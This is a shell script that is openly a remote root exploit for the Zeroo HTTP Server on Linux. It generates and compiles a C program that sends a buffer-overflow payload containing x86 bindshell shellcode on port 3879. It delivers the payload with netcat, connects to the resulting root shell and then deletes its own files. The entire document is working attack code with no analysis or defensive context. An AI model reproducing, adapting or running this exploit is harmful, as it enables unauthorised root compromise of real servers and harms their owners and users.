#!/bin/sh # # 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit for Linux # # __ # exploit by "you dong-hun"(Xpl017Elz), . # My World: http://x82.i21c.net # (printf "\n 0x82-Zer00.sh Zeroo HTTP Server Remote root exploit"); (printf "\n by x82 in INetCop(c)\n\n"); # if [ "$2" = "" ]; then (printf " Usage: 0x82-Zer00.sh [hostname] [port]\n\n"); exit; fi # cat >0x82-Remote-Zeroosubugxpl.c<< X82X82 #define Xpl017Elz x82 int main(/* args? */) { int num; char b1ndsh[] = /* Linux(x86) bindshell on port 3879 */ "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; for(num=0;num<0xa4;num+=4) printf("\xc0\xf4\xff\xbf"); // this's &shellcode for(num=0;num<0x02a8-strlen(b1ndsh);num++) printf("N"); /* nop...NNNNNNNNNNNNN...NNNNNNNNNNNNN;;; */ printf("%s",b1ndsh); /* shellcode */ for(num=0;num<0xb4;num++) printf("\xff"); /* byteother */ printf("\r\n"); } X82X82 # (printf " { 0x00. Compile exploit. }\n"); make 0x82-Remote-Zeroosubugxpl (printf " { 0x01. Send code ! }\n"); (./0x82-Remote-Zeroosubugxpl;cat)|nc $1 $2 & (printf " { 0x02. OK, Try $1:3879 ... }\n"); nc $1 3879 (printf " { 0x03. Connection closed. }\n"); # (printf " { 0x04. Delete exploit code. }\n"); rm -f 0x82-Remote-Zeroosubugxpl* (printf " { 0x05. End :-}\n\n"); #